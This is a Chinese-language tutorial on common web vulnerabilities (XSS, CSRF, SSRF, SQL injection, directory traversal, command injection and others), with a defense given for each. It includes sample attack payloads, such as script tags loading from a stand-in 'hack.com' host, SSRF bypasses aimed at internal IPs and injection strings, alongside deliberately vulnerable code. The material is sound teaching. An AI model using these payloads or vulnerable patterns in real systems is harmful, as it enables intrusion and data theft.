web安全问题
安全问题是web应用很容易忽视的部分,而其产生的后果对于企业而言往往是灾难性的.此处尝试分析攻击者常见攻击手段以及防御办法.
前端漏洞
前端一般需要关注三种漏洞:
Cross Site Scripting简称XSS(CSS容易与Cascading Style Sheets混淆)Cross Site Request Forgery简称CSRFServer Side Request Forgery简称SSRF
1. XSS跨站脚本攻击
产生条件:
用户在输入框或地址栏输入内容后,前端直接当做DOM渲染,或是提交到服务器,服务器未做处理,直接渲染到HTML模板内.
示例:
// Frontend
const content = document.querySelector('#input').value;
document.body.innerHTML = value;
// Backend
const value = req.body.userInput;
res.render(`<body>${value}</body>`);
场景:
<script src="hack.com/hack.js"></script><img href="hack.com/hack" onload="hack..." onerror="hack..." /><div style="background:url(hack.com/hack)"></div>- ...
分析:
用户输入攻击者提供的脚本代码被直接执行,当前用户权限即被窃取.若服务器将输入内容开放给其他用户访问,则所有访问者同样会被窃取信息.
防御方法:
- 拒绝在
eval,setTimeout,setInterval,new Function中用字符串作为参数执行. - 前端渲染所有不可信数据,服务器渲染模板时特殊字符
<>&'"分别转码为<>&'". - 服务器对
cookie设置httpOnly,使cookie在window中不可见.
2. CSRF跨站请求伪造
产生条件:
用户已登录A站点,攻击者诱导用户访问B站点,从B站点向A站点发出请求,伪造用户行为.
示例:
// b.com/page
<form action="a.com" method="POST">
<input type="text" name="bank_id" />
<input type="text" name="money" value="9999" />
<button type="submit">Ok</button>
</form>
分析:
攻击者直接向正常网站发送请求,模拟用户行为,攻击过程甚至可对用户完全隐匿.
防御方法:
- 服务器渲染页面时隐藏随机值(表单或
URL),以此判断请求来源是否正常. - 敏感操作验证用户身份,比如输验证码(非常影响用户体验).
- 服务器判断请求的
referer地址是否正常.
3. SSRF服务端请求伪造
产生条件:
服务端接收URL参数,并直接向此URL发送请求.
示例:
const resourceURL = req.query.url;
request(url, function(data) {
// handler...
res.send(data);
});
场景:
a.com@192.168.100.100(@使域名解析为账户名绕过检测)http://t.cn/abcde->http://192.168.100.100(短链接302跳转内网)- ...
分析:
攻击者传入内网地址,服务端直接作为跳板访问敏感数据.
防御方法:
- 添加白名单域名.
- 禁止使用
IP. - 只允许访问
httphttps协议及80443端口. - 禁止
302跳转.
后端漏洞
以下简单列出几种后端攻击方式:
SQL注入- 伪造域名解析
- 目录穿越
- 文件上传
- 命令注入
- 短信接口/邮件接口频次控制
- 开发者/运维权限控制
1. SQL注入
介绍: 服务器接收客户端传入的值作为SQL参数,绝对不能直接使用字符串拼接的方式,否则攻击者可以执行危险SQL语句.
示例:
// body: { username: "smith AND pwd='123456'" }
const username = req.body.username;
mysql.exec('SELECT uid FROM user WHERE name=' + username);
防御: 通用解决方法是参数化查询,参数用?作为占位符,替换?的值将自动被检查.
数据库连接工具一般默认支持此方式.
2. 伪造域名解析
介绍: 攻击者购买相似域名,解析到正常ip地址,服务正常使用,当攻击者修改DNS解析到攻击者服务器之后,可获取用户浏览器发送的cookie.
防御:
- 使用
https,由于两个域名SSL证书不匹配,用户访问时浏览器会警告用户. - 正常服务每次收到请求后检测
URL域名是否与本站一致,如果不一致则301跳转到正常域名.
3. 目录穿越
介绍: 服务器接收资源名读写资源,没有检测文件名安全性,攻击者可以访问,修改其它目录的文件内容.
示例:
// body: { filename: "../../file" }
const filename = req.body.filename;
fs.readFile(path + filename, function(data) {
res.send(data);
});
防御: 接收资源名后检测是否包含.. /等目录跳转字符.
4. 文件上传
介绍: 上传资源时,服务器应限制文件大小,检测同名文件,避免内存溢出,硬盘占满,业务出现漏洞等问题.
5. 命令注入
介绍: 用户输入内容不可以直接用作shell调用,应屏蔽敏感命令.比如rm,addUser等.
6. 短信接口/邮件接口频次控制
介绍: 对IP限制敏感接口调用频次,防止被攻击者用作短信炸弹,邮件炸弹.
7. 开发者/运维权限控制
介绍: 企业级项目应当对生产环境操作权限严格控制,完整记录操作日志,开发人员不应该拥有生产环境控制权限.应当保证灾备系统稳定可靠,数据丢失能快速找回.